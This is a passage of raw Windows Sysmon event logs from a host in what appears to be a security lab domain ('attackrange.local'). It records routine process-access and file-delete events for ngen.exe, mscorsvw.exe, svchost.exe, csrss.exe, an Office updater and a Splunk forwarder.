SYSTEM32\ntdll.dll+51781 10341000x800000000000000045538Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.633{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F85-613B-8D0A-00000000F001}5804C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045537Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.633{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F85-613B-8D0A-00000000F001}5804C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045536Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.602{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F85-613B-8C0A-00000000F001}5764C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045535Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.586{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F85-613B-8C0A-00000000F001}5764C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045534Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.586{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F85-613B-8C0A-00000000F001}5764C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045533Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.494{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6E01-613B-E106-00000000F001}7104C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+1a375|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045532Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.494{7BD73061-6E01-613B-E106-00000000F001}7104ATTACKRANGE\AdministratorC:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exeC:\Users\Administrator\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db-walMD5=0EAFD7DD29353E417BD02BE663A14DFE,SHA256=16D9583A316F7C759232AAF5CC834AB22E58B3332B2E272CC725058D13BA06EE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045531Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.494{7BD73061-6E01-613B-E106-00000000F001}7104ATTACKRANGE\AdministratorC:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exeC:\Users\Administrator\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db-shmMD5=2DA9653AA1066F690573CBD0E7AE439A,SHA256=F2530B337C56CE7665648D17F89AF79B447D7D9803A3D7B2F81924EBB1F172E8,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045530Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.469{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F85-613B-8B0A-00000000F001}5524C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045529Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.449{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F85-613B-8B0A-00000000F001}5524C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045528Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.449{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F85-613B-8B0A-00000000F001}5524C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045527Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.379{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F85-613B-8A0A-00000000F001}7164C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045526Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.369{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F85-613B-8A0A-00000000F001}7164C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045525Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.369{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F85-613B-8A0A-00000000F001}7164C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045524Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.299{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F85-613B-890A-00000000F001}3912C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045523Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.289{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F85-613B-890A-00000000F001}3912C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045522Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.289{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F85-613B-890A-00000000F001}3912C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045521Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.189{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F85-613B-880A-00000000F001}5696C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045520Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.179{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F85-613B-880A-00000000F001}5696C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045519Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.179{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F85-613B-880A-00000000F001}5696C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045518Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:25.030{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=33615C89452ADD1F1CA4EE04EA91EAED,SHA256=2B803F8F95BC723E4F7860E2E0C3D516E715654A8FA13CFAB7BF453EAAF09DDE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045601Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.743{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=F1E6DE882AB46B7C18978452CCD3565A,SHA256=7711662B802782B29C0584E0934AC7F836CF316AD151D312FC4B3410B9787814,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045600Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.743{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C1EAEDD2711CA6C680C98F821398EAC7,SHA256=F143CAA5B415E623FA428679EA6FA92FE02FFA470A7730A2514716846991A74A,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045599Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.727{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F86-613B-A00A-00000000F001}6404C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045598Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.711{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F86-613B-A00A-00000000F001}6404C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045597Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.711{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F86-613B-A00A-00000000F001}6404C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045596Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 